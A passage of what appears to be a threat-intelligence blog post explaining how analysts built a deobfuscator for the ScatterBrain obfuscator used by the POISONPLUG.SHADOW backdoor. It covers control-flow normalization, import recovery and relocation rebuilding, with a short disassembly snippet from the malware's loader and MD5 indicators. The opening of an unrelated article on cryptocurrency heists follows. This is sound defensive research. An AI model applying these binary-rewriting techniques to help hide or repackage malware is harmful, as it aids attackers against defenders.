The following Python code directly implements the algorithm outlined in Figure 33. It initializes the CFG stepping state and commences a DFS traversal starting from the function's entry address. During each step of the traversal, the current instruction address is retrieved from the to_explore exploration stack and checked against the visited set to prevent redundant processing. The instruction at the current address is then decoded, and a series of mutation rules are applied to handle any obfuscator-induced instruction modifications. Based on the outcomes of these rules, the traversal may continue, skip certain instructions, or halt entirely.

Recovered instructions are appended to the recovered cache, and their corresponding mappings are updated within the CFGStepState. The to_explore stack is subsequently updated with the address of the next sequential instruction to ensure systematic traversal. This iterative process continues until all relevant instructions have been explored, culminating in a CFGResult that encapsulates the fully recovered CFG.

Figure 34: DFS rule-guided stepping algorithm Python implementation

Normalizing the Flow

With the raw instructions successfully recovered, the next step is to normalize the control flow. While the raw recovery process ensures that all original instructions are captured, these instructions alone do not form a cohesive and orderly function. To achieve a streamlined control flow, we must filter and refine the recovered instructions—a process we refer to as normalization. This stage involves several key tasks:

• Updating branch targets: Once all of the obfuscator-introduced code (instruction dispatchers and mutations) are fully removed, all branch instructions must be redirected to their correct destinations. The scattering effect introduced by obfuscation often leaves branches pointing to unrelated code segments.

• Merging overlapping basic blocks: Contrary to the idea of a basic block as a strictly single-entry, single-exit structure, compilers can produce code in which one basic block begins within another. This overlapping of basic blocks commonly appears in loop structures. As a result, these overlaps must be resolved to ensure a coherent CFG.

• Proper function boundary instruction: Each function must begin and end at well-defined boundaries within the binary's memory space. Correctly identifying and enforcing these boundaries is essential for accurate CFG representation and subsequent analysis.

Simplifying with Synthetic Boundary Jumps

Rather than relying on traditional basic block abstractions—which can impose unnecessary overhead—we employ synthetic boundary jumps to simplify CFG normalization. These artificial jmp instructions link otherwise disjointed instructions, allowing us to avoid splitting overlapping blocks and ensuring that each function concludes at a proper boundary instruction. This approach also streamlines our binary rewriting process when reconstructing the recovered functions into the final deobfuscated output binary.

Merging overlapping basic blocks and ensuring functions have proper boundary instructions amount to the same problem—determining which scattered instructions should be linked together. To illustrate this, we will examine how synthetic jumps effectively resolve this issue by ensuring that functions conclude with the correct boundary instructions. The exact same approach applies to merging basic blocks together.

Synthetic Boundary Jumps to Ensure Function Boundaries

Consider an example where we have successfully recovered a function using our DFS-based rule-guided approach. Inspecting the recovered instructions in the CFGState reveals a mov instruction as the final operation. If we were to reconstruct this function in memory as-is, the absence of a subsequent fallthrough instruction would compromise the function's logic.

Figure 35: Example of a raw recovery that does not end with a natural function boundary instruction

To address this, we introduce a synthetic jump whenever the last recovered instruction is not a natural function boundary (e.g., ret, jmp, int3).

Figure 36: Simple Python routine that identifies function boundary instructions

We determine the fallthrough address, and if it points to an obfuscator-introduced instruction, we continue forward until reaching the first regular instruction. We call this traversal "walking the obfuscator's backbone":

Figure 37: Python routine that implements walking the obfuscator's backbone logic

We then link these points with a synthetic jump. The synthetic jump inherits the original address as metadata, effectively indicating which instruction it is logically connected to.

Figure 38: Example of adding a synthetic boundary jmp to create a natural function boundary

Updating Branch Targets

After normalizing the control flow, adjusting branch targets becomes a straightforward process. Each branch instruction in the recovered code may still point to obfuscator-introduced instructions rather than the intended destinations. By iterating through the normalized_flow cache (generated in the next section), we identify branching instructions and verify their targets using the walk_backbone routine. 

This ensures that all branch targets are redirected away from the obfuscator's artifacts and correctly aligned with the intended execution paths. Notice we can ignore call instructions given that any non-dispatcher call instruction is guaranteed to always be legitimate and never part of the obfuscator's protection. These will, however, need to be updated during the final relocation phase outlined in the Building Relocations in Deobfuscated Binaries section. 

Once recalculated, we reassemble and decode the instructions with updated displacements, preserving both correctness and consistency.

Figure 39: Python routine responsible for updating all branch targets

Putting It All Together

Putting it all together, we developed the following algorithm that builds upon the previously recovered instructions, ensuring that each instruction, branch, and block is properly connected, resulting in a completely recovered and deobfuscated CFG for an entire protected binary. We utilize the recovered cache to construct a new, normalized cache. The algorithm employs the following steps:

1. Iterate Over All Recovered Instructions

• Traverse all recovered instructions produced from our DFS-based stepping approach.

2. Add Instruction to Normalized Cache

• For each instruction, add it to the normalized cache, which captures the results of the normalization pass.

3. Identify Boundary Instructions

• Determine whether the current instruction is a boundary instruction.

• If it is a boundary instruction, skip further processing of this instruction and continue to the next one (return to Step 1).

4. Calculate Expected Fallthrough Instruction

• Determine the expected fallthrough instruction by identifying the sequential instruction that follows the current one in memory.

5. Verify Fallthrough Instruction

• Compare the calculated fallthrough instruction with the next instruction in the recovered cache.

• If the fallthrough instruction is not the next sequential instruction in memory, check whether it's a recovered instruction we already normalized:

• If it is, add a synthetic jump to link the two together in the normalized cache.

• If it is not, obtain the connecting fallthrough instruction from the recovery cache and append it to the normalized cache.

• If the fallthrough instruction matches the next instruction in the recovered cache:

• Do nothing, as the recovered instruction already correctly points to the fallthrough. Proceed to Step 6.

6. Handle Final Instruction

• Check if the current instruction is the final instruction in the recovered cache.

• If it is the final instruction:

• Add a final synthetic boundary jump, because if we reach this stage, we failed the check in Step 3.

• Continue iteration, which will cause the loop to exit.

• If it is not the final instruction:

• Continue iteration as normal (return to Step 1).

Figure 40: Flow chart of our normalization algorithm

The Python code in Figure 41 directly implements these normalization steps. It iterates over the recovered instructions and adds them to a normalized cache (normalized_flow), creates a linear mapping, and identifies where synthetic jumps are required. When a branch target points to obfuscator-injected code, it walks the backbone (walk_backbone) to find the next legitimate instruction. If the end of a function is reached without a natural boundary, a synthetic jump is created to maintain proper continuity. After the completion of the iteration, every branch target is updated (update_branch_targets), as illustrated in the previous section, to ensure that each instruction is correctly linked, resulting in a fully normalized CFG:

Figure 41: Python implementation of our normalization algorithm

Observing the Results

After applying our two primary passes, we have nearly eliminated all of the protection mechanisms. Although import protection remains to be addressed, our approach effectively transforms an incomprehensible mess into a perfectly recovered CFG.

For example, Figure 42 and Figure 43 illustrate the before and after of a critical function within the backdoor payload, which is a component of its plugin manager system. Through additional analysis of the output, we can identify functionalities that would have been impossible to delineate, much less in such detail, without our deobfuscation process.

Figure 42: Original obfuscated shadow::PluginProtocolCreateAndConfigure routine

Figure 43: Completely deobfuscated and functional shadow::PluginProtocolCreateAndConfigure routine

Import Recovery

Recovering and restoring the original import table revolves around identifying which import location is associated with which import dispatcher stub. From the stub dispatcher, we can parse the respective obf_imp_t reference in order to determine the protected import that it represents.

We pursue the following logic:

• Identify each valid call/jmp location associated to an import
  • The memory displacement for these will point to the respective dispatcher stub.
  • For HEADERLESS mode, we need to first resolve the fixup table to ensure the displacement points to a valid dispatcher stub.
• For each valid location traverse the dispatcher stub to extract the obf_imp_t
  • The obf_imp_t contains the RVAs to the encrypted DLL and API names.
• Implement the string decryption logic
  • We need to reimplement the decryption logic in order to recover the DLL and API names.
  • This was already done in the initial Import Protection section.

We encapsulate the recovery of imports with the following RecoveredImport data structure:

Figure 44: RecoveredImport type definition

RecoveredImport serves as the result produced for each import that we recover. It contains all the relevant data that we will use to rebuild the original import table when producing the deobfuscated image.

Locate Protected Import CALL and JMP Sites

Each protected import location will be reflected as either an indirect near call (FF/2) or an indirect near jmp (FF/4):

Figure 45: Disassembly of import calls and jmps representation

Indirect near calls and jmps fall under the FF group opcode where the Reg field within the ModR/M byte identifies the specific operation for the group:

• /2: corresponds to CALL r/m64

• /4: corresponds to JMP r/m64

Taking an indirect near call as an example and breaking it down looks like the following:

1. FF: group opcode.

2. 15: ModR/M byte specifying CALL r/m64 with RIP-relative addressing.

• 15 is encoded in binary as 00010101

• Mod (bits 6-7):  00

• Indicates either a direct RIP-relative displacement or memory addressing with no displacement.

• Reg (bits 3-5): 010

• Identifies the call operation for the group

• R/M (bits 0-2): 101

• In 64-bit mode with Mod 00 and R/M 101, this indicates RIP-relative addressing.

3. <32-bit displacement>: added to RIP to compute the absolute address.

To find each protected import location and their associated dispatcher stubs we implement a trivial brute force scanner that locates all potential indirect near call/jmps via their first two opcodes.

Figure 46: Brute-force scanner to locate all possible import locations

The provided code scans the code section of a protected binary to identify and record all locations with opcode patterns associated with indirect call and jmp instructions. This is the first step we take, upon which we apply additional verifications to guarantee it is a valid import site.

Resolving the Import Fixup Table

We have to resolve the fixup table when we recover imports for the HEADERLESS protection in order to identify which import location is associated with which dispatcher. The memory displacement at the protected import site will be paired with its resolved location inside the table. We use this displacement as a lookup into the table to find its resolved location.

Let's take a jmp instruction to a particular import as an example.

Figure 47: Example of a jmp import instruction including its entry in the import fixup table and the associated dispatcher stub

The jmp instruction's displacement references the memory location 0x63A88, which points to garbage data. When we inspect the entry for this import in the fixup table using the memory displacement, we can identify the location of the dispatcher stub associated with this import at 0x295E1. The loader will update the referenced data at 0x63A88 with 0x295E1, so that when the jmp instruction is invoked, execution is appropriately redirected to the dispatcher stub. 

Figure 48 is the deobfuscated code in the loader responsible for resolving the fixup table. We need to mimic this behavior in order to associate which import location targets which dispatcher.

$_Loop_Resolve_ImpFixupTbl: mov ecx, [rdx+4] ; fixup , either DLL, API, or ImpStub mov eax, [rdx] ; target ref loc that needs to be "fixed up" inc ebp ; update the counter add rcx, r13 ; calculate fixup fully (r13 is imgbase) add rdx, 8 ; next pair entry mov [r13+rax+0], rcx ; update the target ref loc w/ full fixup movsxd rax, dword ptr [rsi+18h] ; fetch imptbl total size, in bytes shr rax, 3 ; account for size as a pair-entry cmp ebp, eax ; check if done processing all entries jl $_Loop_Resolve_ImpTbl

Figure 48: Deobfuscated disassembly of the algorithm used to resolve the import fixup table

Resolving the import fixup table requires us to have first identified the data section within the protected binary and the metadata that identifies the import table (IMPTBL_OFFSET, IMPTBL_SIZE). The offset to the fixup table is from the start of the data section.

Figure 49: Python re-implementation of the algorithm used to resolve the import fixup table

Having the start of the fixup table, we simply iterate one entry at a time and identify which import displacement (location) is associated with which dispatcher stub (fixup).

Recovering the Import

Having obtained all potential import locations from the brute-force scan and accounted for relocations in HEADERLESS mode, we can proceed with the final verifications to recover each protected import. The recovery process is conducted as follows:

1. Decode the location into a valid call or jmp instruction
   • Any failure in decoding indicates that the location does not contain a valid instruction and can be safely ignored.
2. Use the memory displacement to locate the stub for the import
   • In HEADERLESS mode, each displacement serves as a lookup key into the fixup table for the respective dispatcher.
3. Extract the obf_imp_t structure within the dispatcher
   • This is achieved by statically traversing a dispatcher's disassembly listing.
   • The first lea instruction encountered will contain the reference to the obf_imp_t.
4. Process the obf_imp_t to decrypt both the DLL and API names
   • Utilize the two RVAs contained within the structure to locate the encrypted blobs for the DLL and API names.
   • Decrypt the blobs using the outlined import decryption routine.

Figure 50: Loop that recovers each protected import

The Python code iterates through every potential import location (potential_stubs) and attempts to decode each presumed call or jmp instruction to an import. A try/except block is employed to handle any failures, such as instruction decoding errors or other exceptions that may arise. The assumption is that any error invalidates our understanding of the recovery process and can be safely ignored. In the full code, these errors are logged and tracked for further analysis should they arise.

Next, the code invokes a GET_STUB_DISPLACEMENT helper function that obtains the RVA to the dispatcher associated with the import. Depending on the mode of protection, one of the following routines is used:

Figure 51: Routines that retrieve the stub RVA based on the protection mode

The recover_import_stub function is utilized to reconstruct the control flow graph (CFG) of the import stub, while _extract_lea_ref examines the instructions in the CFG to locate the lea reference to the obf_imp_t. The GET_DLL_API_NAMES function operates similarly to GET_STUB_DISPLACEMENT, accounting for slight differences depending on the protection mode:

Figure 52: Routines that decrypt the DLL and API blobs based on the protection mode

After obtaining the decrypted DLL and API names, the code possesses all the necessary information to reveal the import that the protection conceals. The final individual output of each import entry is captured in a RecoveredImport object and two dictionaries:

• d.imports
  • This dictionary maps the address of each protected import to its recovered state. It allows for the association of the complete recovery details with the specific location in the binary where the import occurs.
• d.imp_dict_builder
  • This dictionary maps each DLL name to a set of its corresponding API names. It is used to reconstruct the import table, ensuring a unique set of DLLs and the APIs utilized by the binary.

This systematic collection and organization prepare the necessary data to facilitate the restoration of the original functionality in the deobfuscated output. In Figure 53 and Figure 54, we can observe these two containers to showcase their structure after a successful recovery:

Figure 53: Output of the d.imports dictionary after a successful recovery

Figure 54: Output of the d.imp_dict_builder dictionary after a successful recovery

Observing the Final Results

This final step—rebuilding the import table using this data—is performed by the build_import_table function in the pefile_utils.py source file. This part is omitted from the blog post due to its unavoidable length and the numerous tedious steps involved. However, the code is well-commented and structured to thoroughly address and showcase all aspects necessary for reconstructing the import table.

Nonetheless, the following figure illustrates how we generate a fully functional binary from a headerless-protected input. Recall that a headerless-protected input is a raw, headerless PE binary, almost analogous to a shellcode blob. From this blob we produce an entirely new, functioning binary with the entirety of its import protection completely restored. And we can do the same for all protection modes.

Figure 55: Display of completely restored import table for a binary protected in HEADERLESS mode

Building Relocations in Deobfuscated Binaries

Now that we can fully recover the CFG of protected binaries and provide complete restoration of the original import tables, the final phase of the deobfuscator involves merging these elements to produce a functional deobfuscated binary. The code responsible for this process is encapsulated within the recover_output64.py and the pefile_utils.py Python files.

The rebuild process comprises two primary steps:

1. Building the Output Image Template

2. Building Relocations

1. Building the Output Image Template

Creating an output image template is essential for generating the deobfuscated binary. This involves two key tasks:

• Template PE Image: A Portable Executable (PE) template that serves as the container for the output binary that incorporates the restoration of all obfuscated components. We also need to be cognizant of all the different characteristics between in-memory PE executables and on-file PE executables.

• Handling Different Protection Modes: Different protection modes and input stipulate different requirements.

• Headerless variants have their file headers stripped. We must account for these variations to accurately reconstruct a functioning binary.

• Selective protection preserves the original imports to maintain functionality as well as includes a specific import protection for all the imports leveraged within the selected functions. 

2. Building Relocations

Building relocations is a critical and intricate part of the deobfuscation process. This step ensures that all address references within the deobfuscated binary are correctly adjusted to maintain functionality. It generally revolves around the following two phases:

• Calculating Relocatable Displacements: Identifying all memory references within the binary that require relocation. This involves calculating the new addresses where these references will point to. The technique we will use is generating a lookup table that maps original memory references to their new relocatable addresses.

• Apply Fixups: Modifies the binary's code to reflect the new relocatable addresses. This utilizes the aforementioned lookup table to apply necessary fixups to all instruction displacements that reference memory. This ensures that all memory references within the binary correctly point to their intended locations.

We intentionally omit the details of showcasing the rebuilding of the output binary image because, while essential to the deobfuscation process, it is straightforward enough and just overly tedious to be worthwhile examining in any depth. Instead, we focus exclusively on relocations, as they are more nuanced and reveal important characteristics that are not as apparent but must be understood when rewriting binaries.

Overview of the Relocation Process

Rebuilding relocations is a critical step in restoring a deobfuscated binary to an executable state. This process involves adjusting memory references within the code so that all references point to the correct locations after the code has been moved or modified. On the x86-64 architecture, this primarily concerns instructions that use RIP-relative addressing, a mode where memory references are relative to the instruction pointer.

Relocation is necessary when the layout of a binary changes, such as when code is inserted, removed, or shifted during deobfuscation. Given our deobfuscation approach extracts the original instructions from the obfuscator, we are required to relocate each recovered instruction appropriately into a new code segment. This ensures that the deobfuscated state preserves the validity of all memory references and that the accuracy of the original control and data flow is sustained.

Understanding Instruction Relocation

Instruction relocation revolves around the following:

• Instruction's memory address: the location in memory where an instruction resides.
• Instruction's memory memory references: references to memory locations used by the instruction's operands.

Consider the following two instructions as illustrations:

Figure 56: Illustration of two instructions that require relocation

1. Unconditional jmp instructionThis instruction is located at memory address 0x1000. It references its branch target at address 0x4E22. The displacement encoded within the instruction is 0x3E1D, which is used to calculate the branch target relative to the instruction's position. Since it employs RIP-relative addressing, the destination is calculated by adding the displacement to the length of the instruction and its memory address.

2. lea instructionThis is the branch target for the jmp instruction located at 0x4E22. It also contains a memory reference to the data segment, with an encoded displacement of 0x157.

When relocating these instructions, we must address both of the following aspects:

• Changing the instruction's address: When we move an instruction to a new memory location during the relocation process, we inherently change its memory address. For example, if we relocate this instruction from 0x1000 to 0x2000, the instruction's address becomes 0x2000.

• Adjusting memory displacements: The displacement within the instruction (0x3E1D for the jmp, 0x157 for the lea) is calculated based on the instruction's original location and the location of its reference. If the instruction moves, the displacement no longer points to the correct target address. Therefore, we must recalculate the displacement to reflect the instruction's new position.

Figure 57: Updated illustration demonstration of what relocation would look like

When relocating instructions during the deobfuscation process, we must ensure accurate control flow and data access. This requires us to adjust both the instruction's memory address and any displacements that reference other memory locations. Failing to update these values invalidates the recovered CFG.

What Is RIP-Relative Addressing?

RIP-relative addressing is a mode where the instruction references memory at an offset relative to the RIP (instruction pointer) register, which points to the next instruction to be executed. Instead of using absolute addresses, the instruction encapsulates the referenced address via a signed 32-bit displacement from the current instruction pointer.

Addressing relative to the instruction pointer exists on x86 as well, but only for control-transfer instructions that support a relative displacement (e.g., JCC conditional instructions, near CALLs, and near JMPs). The x64 ISA extended this to account for almost all memory references being RIP-relative. For example, most data references in x64 Windows binaries are RIP-relative.

An excellent tool to visualize the intricacies of a decoded Intel x64 instruction is ZydisInfo. Here we use it to illustrate how a LEA instruction (encoded as 488D151B510600) references RIP-relative memory at 0x6511b.

Figure 58: ZydisInfo output for the lea instruction

For most instructions, the displacement is encoded in the final four bytes of the instruction. When an immediate value is stored at a memory location, the immediate follows the displacement. Immediate values are restricted to a maximum of 32 bits, meaning 64-bit immediates cannot be used following a displacement. However, 8-bit and 16-bit immediate values are supported within this encoding scheme.

Figure 59: ZydisInfo output for the mov instruction storing an immediate operand

Displacements for control-transfer instructions are encoded as immediate operands, with the RIP register implicitly acting as the base. This is evident when decoding a jnz instruction, where the displacement is directly embedded within the instruction and calculated relative to the current RIP.

Figure 60: ZydisInfo output for the jnz instruction with an immediate operand as the displacement

Steps in the Relocation Process

For rebuilding relocations we take the following approach:

1. Rebuilding the code section and creating a relocation mapWith the recovered CFG and imports, we commit the changes to a new code section that contains the fully deobfuscated code. We do this by:

• Function-by-function processing: rebuild each function one at a time. This allows us to manage the relocation of each instruction within its respective function.

• Tracking instruction locations: As we rebuild each function, we track the new memory locations of each instruction. This involves maintaining a global relocation dictionary that maps original instruction addresses to their new addresses in the deobfuscated binary. This dictionary is crucial for accurately updating references during the fixup phase.

2. Applying fixupsAfter rebuilding the code section and establishing the relocation map, we proceed to modify the instructions so that their memory references point to the correct locations in the deobfuscated binary. This restores the binary's complete functionality and is achieved by adjusting memory references to code or data an instruction may have.

Rebuilding the Code Section and Creating a Relocation Map

To construct the new deobfuscated code segment, we iterate over each recovered function and copy all instructions sequentially, starting from a fixed offset—for example, 0x1000. During this process, we build a global relocation dictionary (global_relocs) that maps each instruction to its relocated address. This mapping is essential for adjusting memory references during the fixup phase.

The global_relocs dictionary uses a tuple as the key for lookups, and each key is associated with the relocated address of the instruction it represents. The tuple consists of the following three components:

1. Original starting address of the function: The address where the function begins in the protected binary. It identifies the function to which the instruction belongs.

2. Original instruction address within the function: The address of the instruction in the protected binary. For the first instruction in a function, this will be the function's starting address.

3. Synthetic boundary JMP flag: A boolean value indicating whether the instruction is a synthetic boundary jump introduced during normalization. These synthetic instructions were not present in the original obfuscated binary, and we need to account for them specifically during relocation because they have no original address.

Figure 61: Illustration of how the new code segment and relocation map are generated

The following Python code implements the logic outlined in Figure 61. Error handling and logging code has been stripped for brevity.

Figure 62: Python logic that implements the building of the code segment and generation of the relocation map

1. Initialize current offset
   Set the starting point in the new image buffer where the code section will be placed. The variable curr_off is initialized to starting_off, which is typically 0x1000. This represents the conventional start address of the .text section in PE files. For SELECTIVE mode, this will be the offset to the start of the protected function.
2. Iterate over recovered functions
   Loop through each recovered function in the deobfuscated control flow graph (d.cfg). func_ea is the original function entry address, and rfn is a RecoveredFunc object encapsulating the recovered function's instructions and metadata.
   1. Handle the function start address first

      1. Set function's relocated start address: Assign the current offset to rfn.reloc_ea, marking where this function will begin in the new image buffer.

      2. Update global relocation map: Add an entry to the global relocation map d.global_relocs to map the original function address to its new location.
   2. Iterate over each recovered instruction
      Loop through the normalized flow of instructions within the function. We use the normalized_flow as it allows us to iterate over each instruction linearly as we apply it to the new image.
      1. Set instruction's relocated address: Assign the current offset to r.reloc_ea, indicating where this instruction will reside in the new image buffer.
      2. Update global relocation map: Add an entry to d.global_relocs for the instruction, mapping its original address to the relocated address.
      3. Update the output image: Write the instruction bytes to the new image buffer d.newimgbuffer at the current offset. If the instruction was modified during deobfuscation (r.updated_bytes), use those bytes; otherwise, use the original bytes (r.instr.bytes).
      4. Advance the offset: Increment curr_off by the size of the instruction to point to the next free position in the buffer and move on to the next instruction until the remainder are exhausted.
3. Align current offset to 16-byte boundaryAfter processing all instructions in a function, align curr_off to the next 16-byte boundary. We use 8 bytes as an arbitrary pointer-sized value from the last instruction to pad so that the next function won't conflict with the last instruction of the previous function. This further ensures proper memory alignment for the next function, which is essential for performance and correctness on x86-64 architectures. Then repeat the process from step 2 until all functions have been exhausted.

This step-by-step process accurately rebuilds the deobfuscated binary's executable code section. By relocating each instruction, the code prepares the output template for the subsequent fixup phase, where references are adjusted to point to their correct locations.

Applying Fixups

After building the deobfuscated code section and relocating each recovered function in full, we apply fixups to correct addresses within the recovered code. This process adjusts the instruction bytes in the new output image so that all references point to the correct locations. It is the final step in reconstructing a functional deobfuscated binary.

We categorize fixups into three distinct categories, based primarily on whether they apply to control flow or data flow instructions. We further distinguish between two types of control flow instructions: standard branching instructions and those introduced by the obfuscator through the import protection. Each type has specific nuances that require tailored handling, allowing us to apply precise logic to each category.

1. Import Relocations: These involve calls and jumps to recovered imports.

2. Control Flow Relocations: All standard control flow branching branching instructions.

3. Data Flow Relocations: Instructions that reference static memory locations.

Using these three categorizations, the core logic boils down to the following two phases:

1. Resolving displacement fixups
   • Differentiate between displacements encoded as immediate operands (branching instructions) and those in memory operands (data accesses and import calls).
   • Calculate the correct fixup values for these displacements using the d.global_relocs map generated prior.
2. Update the output image buffer
   • Once the displacements have been resolved, write the updated instruction bytes into the new code segment to reflect the changes permanently.

To achieve this, we utilize several helper functions and lambda expressions. The following is a step-by-step explanation of the code responsible for calculating the fixups and updating the instruction bytes.

Figure 63: Helper routines that aid in applying fixups

• Define lambda helper expressions
  • PACK_FIXUP: packs a 32-bit fixup value into a little-endian byte array.
  • CALC_FIXUP: calculates the fixup value by computing the difference between the destination address (dest) and the end of the current instruction (r.reloc_ea + size), ensuring it fits within 32 bits.
  • IS_IN_DATA: checks if a given address is within the data section of the binary. We exclude relocating these addresses, as we preserve the data section at its original location.
• Resolve fixups for each instruction
  • Import and data flow relocations
    • Utilize the resolve_disp_fixup_and_apply helper function as both encode the displacement within a memory operand.
  • Control flow relocations
    • Use the resolve_imm_fixup_and_apply helper as the displacement is encoded in an immediate operand.
    • During our CFG recovery, we transformed each jmp and jcc instruction to its near jump equivalent (from 2 bytes to 6 bytes) to avoid the shortcomings of 1-byte short branches.
      • We force a 32-bit displacement for each branch to guarantee a sufficient range for every fixup.
• Update the output image buffer
  • Decode the updated instruction bytes to have it reflect within the RecoveredInstr that represents it.
  • Write the updated bytes to the new image buffer
    • updated_bytes reflects the final opcodes for a fully relocated instruction.

With the helpers in place, the following Python code implements the final processing for each relocation type.

Figure 64: The three core loops that address each relocation category

• Import Relocations: The first for loop handles fixups for import relocations, utilizing data generated during the Import Recovery phase. It iterates over every recovered instruction r within the rfn.relocs_imports cache and does the following:
  • Prepare updated instruction bytes: initialize r.updated_bytes with a mutable copy of the original instruction bytes to prepare it for modification.
  • Retrieve import entry and displacement: obtain the import entry from the imports dictionary d.imports and retrieve the new RVA from d.import_to_rva_map using the import's API name.
  • Apply fixup: use the resolve_disp_fixup_and_apply helper to calculate and apply the fixup for the new RVA. This adjusts the instruction's displacement to correctly reference the imported function.
  • Update image buffer: write r.updated_bytes back into the new image using update_reloc_in_img. This finalizes the fixup for the instruction in the output image.
• Control Flow Relocations: The second for loop handles fixups for control flow branching relocations (call, jmp, jcc). Iterating over each entry in rfn.relocs_ctrlflow, it does the following:
  • Retrieve destination: extract the original branch destination target from the immediate operand.
  • Get relocated address: reference the relocation dictionary d.global_relocs to obtain the branch target's relocated address. If it's a call target, then we specifically look up the relocated address for the start of the called function.
  • Apply fixup: use resolve_imm_fixup_and_apply to adjust the branch target to its relocated address.
  • Update buffer: finalize the fixup by writing r.updated_bytes back into the new image using update_reloc_in_img.
• Data Flow Relocations: The final loop handles the resolution of all static memory references stored within rfn.relocs_dataflow. First, we establish a list of KNOWN instructions that require data reference relocations. Given the extensive variety of such instructions, this categorization simplifies our approach and ensures a comprehensive understanding of all possible instructions present in the protected binaries. Following this, the logic mirrors that of the import and control flow relocations, systematically processing each relevant instruction to accurately adjust their memory references. 

After reconstructing the code section and establishing the relocation map, we proceeded to adjust each instruction categorized for relocation within the deobfuscated binary. This was the final step in restoring the output binary's full functionality, as it ensures that each instruction accurately references the intended code or data segments.

Observing the Results

To demonstrate our deobfuscation library for ScatterBrain, we conduct a test study showcasing its functionality. For this test study, we select three samples: a POISONPLUG.SHADOW headerless backdoor and two embedded plugins.

We develop a Python script, example_deobfuscator.py, that consumes from our library and implements all of the recovery techniques outlined earlier. Figure 65 and Figure 66 showcase the code within our example deobfuscator:

Figure 65: The first half of the Python code in example_deobfuscator.py

Figure 66: The second half of the Python code in example_deobfuscator.py

Running example_deobfuscator.py we can see the following. Note, it takes a bit given we have to emulate more than 16,000 instruction dispatchers that were found within the headerless backdoor.

Figure 67: The three core loops that address each relocation category

Focusing on the headerless backdoor both for brevity and also because it is the most involved in deobfuscating, we first observe its initial state inside the IDA Pro disassembler before we inspect the output results from our deobfuscator. We can see that it is virtually impenetrable to analysis.

Figure 68: Observing the obfuscated headerless backdoor in IDA Pro

After running our example deobfuscator and producing a brand new deobfuscated binary, we can see the drastic difference in output. All the original control flow has been recovered, all of the protected imports have been restored, and all required relocations have been applied. We also account for the deliberately removed PE header of the headerless backdoor that ScatterBrain removes.

Figure 69: Observing the deobfuscated headerless backdoor in IDA Pro

Given we produce functional binaries as part of the output, the subsequent deobfuscated binary can be either run directly or debugged within your favorite debugger of choice.

Figure 70: Debugging the deobfuscated headerless backdoor in everyone’s favorite debugger

Conclusion

In this blog post, we delved into the sophisticated ScatterBrain obfuscator used by POISONPLUG.SHADOW, an advanced modular backdoor leveraged by specific China-nexus threat actors GTIG has been tracking since 2022. Our exploration of ScatterBrain highlighted the intricate challenges it poses for defenders. By systematically outlining and addressing each protection mechanism, we demonstrated the significant effort required to create an effective deobfuscation solution.

Ultimately, we hope that our work provides valuable insights and practical tools for analysts and cybersecurity professionals. Our dedication to advancing methodologies and fostering collaborative innovation ensures that we remain at the forefront of combating sophisticated threats like POISONPLUG.SHADOW. Through this exhaustive examination and the introduction of our deobfuscator, we contribute to the ongoing efforts to mitigate the risks posed by highly obfuscated malware, reinforcing the resilience of cybersecurity defenses against evolving adversarial tactics.

Indicators of Compromise

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available.

Host-Based IOCs

MD5

Associated Malware Family

5C62CDF97B2CAA60448619E36A5EB0B6

POISONPLUG.SHADOW

0009F4B9972660EEB23FF3A9DCCD8D86

POISONPLUG.SHADOW

EB42EF53761B118EFBC75C4D70906FE4

POISONPLUG.SHADOW

4BF608E852CB279E61136A895A6912A9

POISONPLUG.SHADOW

1F1361A67CE4396C3B9DBC198207EF52

POISONPLUG.SHADOW

79313BE39679F84F4FCB151A3394B8B3

POISONPLUG.SHADOW

704FB67DFFE4D1DCE8F22E56096893BE

POISONPLUG.SHADOW

Acknowledgements

Special thanks to Conor Quigley and Luke Jenkins from the Google Threat Intelligence Group for their contributions to both Mandiant and Google’s efforts in understanding and combating the POISONPLUG threat. We also appreciate the ongoing support and dedication of the teams at Google, whose combined efforts have been crucial in enhancing our cybersecurity defenses against sophisticated adversaries.

Written by: Joshua Goddard

The Rise of Crypto Heists and the Challenges in Preventing Them

Cryptocurrency crime encompasses a wide range of illegal activities, from theft and hacking to fraud, money laundering, and even terrorist financing, all exploiting the unique characteristics of digital currencies. Cryptocurrency heists, specifically, refer to the large-scale theft of cryptocurrencies or digital assets through unauthorized access, exploitation, or deception.

Cryptocurrency heists are on the rise due to the lucrative nature of their rewards, the challenges associated with attribution to malicious actors, and the opportunities presented by nascent familiarity with cryptocurrency and Web3 technologies among many organizations. Cofense highlighted that phishing activity targeting Web3 platforms increased by 482% in 2022, Chainalysis reported that $24.2 billion USD was received by illicit addresses in 2023, and Immunefi reported that in Q2 2024, compromises of Web3 organizations resulted in losses of approximately $572 million USD.

When threat actors gain access to cryptocurrency organizations, the potential for rapid, high-value financial losses due to unauthorized access is significantly elevated. A single malicious command executed on a vulnerable system can lead to the theft of millions of dollars worth of assets. This starkly contrasts with traditional organizations, where achieving financial gain or extracting value from stolen data often requires prolonged social engineering campaigns, all while facing the risk of detection and apprehension by law enforcement or financial institutions. The prospect of swift and substantial financial gains presents a compelling motivation for threat actors to target cryptocurrency organizations.

Cryptocurrency organizations are those whose core operations revolve around the use, management, or exchange of digital currencies, including:

• Cryptocurrency exchanges that facilitate the buying and selling of cryptocurrencies

• Financial institutions or payment gateway platforms that provide on or off ramp buying and selling of cryptocurrencies

• Financial institutions that hold cryptocurrency assets as investment products for their customers

• DeFi protocol providers that provide financial solutions for interacting with cryptocurrency assets

• Web3 game creators that use blockchains for their in-game economics

• Providers of hardware or software cryptocurrency wallets, wallet custodians, and wallet smart contract providers, which facilitate storage solutions for cryptocurrency assets 

• Cryptocurrency mining organizations, which validate transactions to generate new cryptocurrency tokens

The threats posed to these organizations are significant. Mandiant has observed cryptocurrency organizations employing heightened security controls driven by pressures from widespread reporting of impactful heists, however, many still remain unprepared for the threats they face. 

Across its Incident Response engagements conducted at cryptocurrency organizations, Mandiant has observed common challenges relatively unique to these types of organizations. Mandiant has observed that these challenges introduce significant technical security debt, complexity, and widened attack surfaces, which make preventing, detecting, and responding to intrusions increasingly challenging.

• Hyperfocus on wallet infrastructure: Many organizations focus on the security of wallet infrastructure but fall short on fundamental enterprise security practices.

• Rapid development lifecycles: Cryptocurrency organizations, especially startups, often need to develop platforms fast, driven by aggressive market competition and investor pressure.

• Unmanaged workforces: Given the demand for cryptocurrency platform developers, many organizations employ contractors or freelancers, who work for multiple organizations at the same time from their own devices. These devices are generally not monitored or policy-enforced by the organizations the user works for, and compromise of one of these devices may lead to intrusions at multiple organizations.

